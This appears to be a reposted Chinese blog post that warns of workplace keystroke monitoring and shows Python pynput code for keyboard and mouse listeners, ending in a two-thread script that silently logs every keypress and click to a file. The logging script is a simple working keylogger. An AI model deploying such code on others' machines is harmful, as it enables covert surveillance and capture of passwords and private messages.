? ? 
前言
? ? 今天有位同事和我吐槽關于公司 XX 的問題,我告訴他不要在公司電腦上說這些,因為很可能會被狙擊,這位同事剛開始還不信,直到我寫了這邊文章,他才恍然大悟,
關于 pynput
? ? pynput 可以監控我們的鍵盤和滑鼠,目前具有此類功能的庫有很多,比如 pygame 等游戲庫,但是當我們只需要監控鍵盤和滑鼠時,它們就顯得過于笨重了,我們可以選擇輕量,快速的 pynput,
實體
鍵盤監控
? ? 假設公司想要靜默為我們的電腦常駐一個后臺行程去實作監控我們的鍵盤輸入并記錄下來,他們大概可以這樣做:
from pynput import keyboard
def on_press(key):
print(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
復制代碼
控制臺列印:? ? ? ? ? ? ? ? ? ? 
滑鼠監控
from pynput import mouse
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
print('left was pressed!')
elif button == mouse.Button.right:
print('right was pressed!')
return False
else:
print('mid was pressed!')
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
復制代碼
控制臺列印:? ? ? ? ? ? ? ? ? ? 
你會發現,每條列印都被列印了兩次,這是因為按下去和抬起來都會觸發滑鼠事件,
監控并記錄到日志檔案
from pynput import keyboard,mouse
from loguru import logger
from threading import Thread
# 定義日志檔案
logger.add('demo.log')
def on_press(key):
logger.debug(f'{key} :pushed')
def on_release(key):
#print(f'{key} released')
if key == keyboard.Key.esc:
# Stop listener
return False
# 定義f1用于執行緒1
def f1():
with keyboard.Listener(on_press=on_press,on_release=on_release) as lsn:
lsn.join()
def on_click(x, y, button, pressed):
if button == mouse.Button.left:
logger.debug('left was pressed!')
elif button == mouse.Button.right:
logger.debug('right was pressed!')
return False
else:
logger.debug('mid was pressed!')
# 定義f2用于執行緒2
def f2():
# Collect events until released
with mouse.Listener(on_click=on_click) as listener:
listener.join()
if __name__ == '__main__':
# 起兩個執行緒分別監控鍵盤和滑鼠
t1 = Thread(target=f1)
t2 = Thread(target=f2)
t1.start()
t2.start()
復制代碼
查看日志內容:? ? 
? ? 如上,我們的鍵盤操作全部已經被記錄,通過對這個日志檔案進行簡單的 NLTK 語言處理,就能復原你的聊天記錄,
以上就是今天的全部內容了,感謝您的閱讀,我們下節再會,

? ? 如果對軟體測驗、介面測驗、自動化測驗、持續集成、面試經驗,感興趣? 可以進到806549072,群內會有不定期的分享測驗資料,還會有技術大牛,業內同行一起交流技術
轉載請註明出處,本文鏈接:https://www.uj5u.com/houduan/312122.html
標籤:java
